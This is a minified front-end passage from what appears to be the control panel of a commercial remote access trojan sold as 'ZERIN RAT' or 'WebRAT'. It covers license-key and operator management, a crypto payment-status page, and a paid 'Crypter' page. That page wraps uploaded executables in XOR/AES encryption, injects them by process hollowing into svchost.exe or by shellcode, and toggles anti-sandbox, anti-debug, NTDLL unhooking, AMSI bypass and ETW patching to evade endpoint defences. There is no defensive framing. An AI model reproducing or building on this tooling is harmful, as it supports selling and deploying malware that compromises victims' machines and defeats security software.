gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:C=>h(C.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r + focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:C=>g(C.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r + hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{type:"button",onClick:()=>h(C),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:C},C))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r + text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:ee,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:C.key_id,children:[C.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(z2,{status:C.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:yp(C.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:yp(C.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:C.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:C.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:C.generated_by}),s.jsx("td",{className:"px-4 py-3",children:C.status!=="revoked"&&C.status!=="expired"?z===C.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>he(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r + hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r + hover:text-zerin-text-dim transition-colors`,children:"Cancel"})]}):s.jsx("button",{onClick:()=>O(C.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/20\r + hover:bg-red-500/10 transition-colors`,children:"Revoke"}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"—"})})]},C.key_id))})]})})]}):s.jsxs("div",{className:"space-y-4",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsx("button",{onClick:re,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Username"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Role"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"License Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:7,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No operators found"})}):i.map(C=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-3 text-zerin-text font-medium",children:C.username}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(lV,{role:C.role})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${C.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:C.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3",children:C.license_status?s.jsx(z2,{status:C.license_status}):s.jsx("span",{className:"text-xs text-zerin-text-muted",children:"none"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.license_expires_at?yp(C.license_expires_at):"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:C.created_at}),s.jsx("td",{className:"px-4 py-3",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{onClick:()=>{T(C),R("30d")},className:`px-2 py-1 text-xs text-emerald-400 border border-emerald-500/20\r + hover:bg-emerald-500/10 transition-colors`,children:"Add Time"}),s.jsx("button",{onClick:()=>{W(C),U(C.tier==="rat_crypter"?"rat":"rat_crypter")},className:`px-2 py-1 text-xs text-purple-400 border border-purple-500/20\r + hover:bg-purple-500/10 transition-colors`,children:"Set Tier"})]})})]},C.id))})]})})]}),_&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>T(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Add Time — ",s.jsx("span",{className:"text-zerin-accent",children:_.username})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Duration to add"}),s.jsx("input",{type:"text",value:P,onChange:C=>R(C.target.value),placeholder:"7d, 30d, 365d, lifetime",className:`w-full px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r + text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent focus:outline-none`})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:["7d","30d","90d","365d","lifetime"].map(C=>s.jsx("button",{onClick:()=>R(C),className:`px-2.5 py-1 text-xs font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:pe,disabled:V,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:V?"Extending...":"Add Time"}),s.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),L&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>W(null),children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",s.jsx("span",{className:"text-zerin-accent",children:L.username})]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx("button",{onClick:()=>U("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{onClick:()=>U("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${B==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),s.jsxs("div",{className:"flex gap-2 pt-2",children:[s.jsx("button",{onClick:Y,disabled:F,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:F?"Updating...":"Update Tier"}),s.jsx("button",{onClick:()=>W(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}function uV(){const{isAdmin:e}=is(),n=Qj()==="rat_crypter"||e,[r,i]=p.useState(null),[a,o]=p.useState("runpe"),[l,c]=p.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=p.useState(0),[f,m]=p.useState(!0),[h,x]=p.useState(!0),[g,y]=p.useState(!0),[v,b]=p.useState(!0),[w,j]=p.useState(!0),[k,S]=p.useState(!1),[N,z]=p.useState(0),[O,_]=p.useState(""),[T,P]=p.useState(!1),R=p.useRef(null),V=p.useCallback(L=>{L.preventDefault(),P(!1);const W=L.dataTransfer.files[0];W&&i(W)},[]),$=p.useCallback(async()=>{if(!(!r||k)){S(!0),_(""),z(5);try{const L=new FormData;L.append("file",r),L.append("mode",a),L.append("target_process",l),L.append("sleep_seconds",u.toString()),L.append("anti_sandbox",f.toString()),L.append("anti_debug",h.toString()),L.append("unhook_ntdll",g.toString()),L.append("amsi_bypass",v.toString()),L.append("etw_patch",w.toString()),z(20);const W=setInterval(()=>{z(H=>Math.min(H+5,85))},2e3),B=await UE(L);clearInterval(W),z(100);const U=URL.createObjectURL(B),F=document.createElement("a");F.href=U,F.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(F),F.click(),document.body.removeChild(F),URL.revokeObjectURL(U),setTimeout(()=>z(0),2e3)}catch(L){_(L.message||"Build failed"),z(0)}finally{S(!1)}}},[r,k,a,l,u,f,h,g,v,w]);return n?s.jsxs("div",{className:"p-6 max-w-4xl mx-auto",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-6",children:[s.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z"})}),s.jsx("h1",{className:"font-display text-xl font-bold text-zerin-text",children:"Crypter"}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-accent/70 border border-zerin-accent/20 px-1.5 py-0.5",children:"XOR + AES-256"})]}),s.jsxs("div",{className:"grid lg:grid-cols-2 gap-6",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:`relative border-2 border-dashed transition-colors duration-200 p-8 text-center cursor-pointer + ${T?"border-zerin-accent bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"} + ${r?"bg-zerin-accent/5 border-zerin-accent/30":""}`,onDragOver:L=>{L.preventDefault(),P(!0)},onDragLeave:()=>P(!1),onDrop:V,onClick:()=>{var L;return(L=R.current)==null?void 0:L.click()},children:[s.jsx("input",{ref:R,type:"file",accept:".exe",className:"hidden",onChange:L=>{var B;const W=(B=L.target.files)==null?void 0:B[0];W&&i(W)}}),r?s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-accent",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75 11.25 15 15 9.75M21 12a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z"})}),s.jsx("p",{className:"font-mono text-sm text-zerin-text",children:r.name}),s.jsxs("p",{className:"font-mono text-xs text-zerin-text-muted mt-1",children:[(r.size/1024).toFixed(1)," KB"]})]}):s.jsxs("div",{children:[s.jsx("svg",{className:"w-8 h-8 mx-auto mb-2 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75V16.5m-13.5-9L12 3m0 0 4.5 4.5M12 3v13.5"})}),s.jsx("p",{className:"text-sm text-zerin-text-dim",children:"Drop a .exe here or click to browse"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-1",children:"Max 50 MB"})]})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Injection Mode"}),s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsxs("button",{onClick:()=>o("runpe"),className:`p-3 text-left border transition-colors ${a==="runpe"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"RunPE"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"Process Hollowing"})]}),s.jsxs("button",{onClick:()=>o("shellcode"),className:`p-3 text-left border transition-colors ${a==="shellcode"?"border-zerin-accent bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,children:[s.jsx("div",{className:"font-mono text-sm font-semibold",children:"Shellcode"}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted mt-0.5",children:"VirtualAlloc + Thread"})]})]})]}),a==="runpe"&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Target Process"}),s.jsx("input",{type:"text",value:l,onChange:L=>c(L.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-2 uppercase tracking-wider",children:"Sleep Delay (seconds)"}),s.jsx("input",{type:"number",min:0,max:300,value:u,onChange:L=>d(Math.max(0,parseInt(L.target.value)||0)),className:"w-24 bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),s.jsx("span",{className:"text-xs text-zerin-text-muted ml-2",children:"0 = no delay"})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[s.jsx("label",{className:"block text-xs font-mono text-zerin-text-muted mb-3 uppercase tracking-wider",children:"Evasion Suite"}),s.jsx("div",{className:"grid grid-cols-2 gap-3",children:[{key:"anti_sandbox",label:"Anti-Sandbox",desc:"VM/sandbox detection",value:f,set:m},{key:"anti_debug",label:"Anti-Debug",desc:"Debugger detection",value:h,set:x},{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Remove EDR hooks",value:g,set:y},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession",value:v,set:b},{key:"etw_patch",label:"ETW Patch",desc:"Disable ETW tracing",value:w,set:j}].map(({key:L,label:W,desc:B,value:U,set:F})=>s.jsxs("label",{className:`flex items-start gap-2.5 p-2.5 border cursor-pointer transition-colors ${U?"border-zerin-accent/30 bg-zerin-accent/5":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:U,onChange:H=>F(H.target.checked),className:"mt-0.5 accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("div",{className:"text-sm font-mono text-zerin-text",children:W}),s.jsx("div",{className:"text-[11px] text-zerin-text-muted",children:B})]})]},L))})]}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("button",{onClick:$,disabled:!r||k,className:`w-full py-3 font-mono font-semibold text-sm transition-all duration-300 ${!r||k?"bg-zerin-panel border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_20px_rgba(6,182,212,0.3)]"}`,children:k?"Crypting...":"Crypt"}),(k||N>0)&&s.jsxs("div",{children:[s.jsx("div",{className:"h-1 bg-zerin-panel-border overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-500",style:{width:`${N}%`}})}),s.jsxs("div",{className:"flex justify-between mt-1",children:[s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:N<20?"Preparing...":N<50?"Encrypting payload...":N<85?"Compiling stub...":N<100?"Finalizing...":"Complete!"}),s.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted",children:[N,"%"]})]})]}),O&&s.jsx("div",{className:"p-3 border border-red-500/20 bg-red-500/5 text-red-400 text-sm font-mono",children:O})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 text-xs text-zerin-text-muted space-y-1.5 font-mono",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"XOR + AES-256-CBC layered encryption"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Random keys per build — no shared signatures"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent",children:"*"}),s.jsx("span",{children:"Fire-and-forget — no files stored on server"})]})]})]})]})]}):s.jsx("div",{className:"p-6 max-w-2xl mx-auto mt-20",children:s.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsxs("div",{className:"px-8 py-12 text-center",children:[s.jsx("svg",{className:"w-12 h-12 mx-auto mb-4 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})}),s.jsx("h2",{className:"font-display text-xl font-bold text-zerin-text mb-2",children:"Crypter — Premium Feature"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6 max-w-md mx-auto",children:"The PE crypter is available with the WebRAT + Crypter license. Encrypt any .exe with layered XOR + AES encryption, RunPE / shellcode injection, and configurable evasion features."}),s.jsx(ot,{to:"/#pricing",className:"inline-block bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-6 py-2.5 hover:shadow-[0_0_20px_rgba(6,182,212,0.3)] transition-all duration-300",children:"Upgrade to WebRAT + Crypter"})]})]})})}async function dV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const fV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function pV(){const{id:e}=Vo(),[t,n]=p.useState(null),[r,i]=p.useState(""),[a,o]=p.useState(!1),l=p.useCallback(async()=>{if(e)try{const f=await dV(e);n(f)}catch{i("Payment not found")}},[e]);p.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";p.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?fV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),s.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsxs(ot,{to:"/",className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(ot,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(ot,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(ot,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(ot,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Ai=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 